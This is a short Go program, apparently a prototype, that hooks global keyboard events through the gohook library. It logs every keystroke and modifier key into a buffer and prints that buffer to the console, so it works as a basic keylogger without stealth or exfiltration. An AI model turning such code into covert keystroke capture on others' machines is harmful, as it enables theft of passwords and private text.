82 lines
1.5 KiB
Go
82 lines
1.5 KiB
Go
package main
|
|
|
|
import (
|
|
"fmt"
|
|
|
|
hook "github.com/robotn/gohook"
|
|
)
|
|
|
|
const (
|
|
SHIFT_RAWCODE = 65505
|
|
CTRL_RAWCODE = 65507
|
|
ALT_RAWCODE = 65513
|
|
DEL_KEYCHAR = 8
|
|
ENTER_KEYCHAR = 13
|
|
REG_START = 32
|
|
REG_END = 255
|
|
)
|
|
|
|
func main() {
|
|
evChan := hook.Start()
|
|
defer hook.End()
|
|
buff := make([]byte, 64)
|
|
|
|
for ev := range evChan {
|
|
switch ev.Rawcode {
|
|
case SHIFT_RAWCODE:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("[SHIFT]")...)
|
|
} else if ev.Kind == hook.KeyUp {
|
|
buff = append(buff, []byte("[shift]")...)
|
|
}
|
|
continue
|
|
|
|
case CTRL_RAWCODE:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("[CTRL]")...)
|
|
} else if ev.Kind == hook.KeyUp {
|
|
buff = append(buff, []byte("[ctrl]")...)
|
|
}
|
|
continue
|
|
|
|
case ALT_RAWCODE:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("[ALT]")...)
|
|
} else if ev.Kind == hook.KeyUp {
|
|
buff = append(buff, []byte("[alt]")...)
|
|
}
|
|
continue
|
|
|
|
case DEL_KEYCHAR:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("[DEL]")...)
|
|
}
|
|
continue
|
|
}
|
|
|
|
switch ev.Keychar {
|
|
case DEL_KEYCHAR:
|
|
if ev.Kind == hook.KeyDown {
|
|
buff = append(buff, []byte("[DEL]")...)
|
|
}
|
|
continue
|
|
|
|
case ENTER_KEYCHAR:
|
|
if ev.Kind == hook.KeyDown {
|
|
fmt.Printf("A")
|
|
buff = append(buff, []byte("\n")...)
|
|
}
|
|
continue
|
|
}
|
|
|
|
if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
|
|
if ev.Kind == hook.KeyDown {
|
|
fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode)
|
|
buff = append(buff, byte(ev.Keychar))
|
|
}
|
|
}
|
|
|
|
fmt.Printf("'%s'\n", buff)
|
|
}
|
|
}
|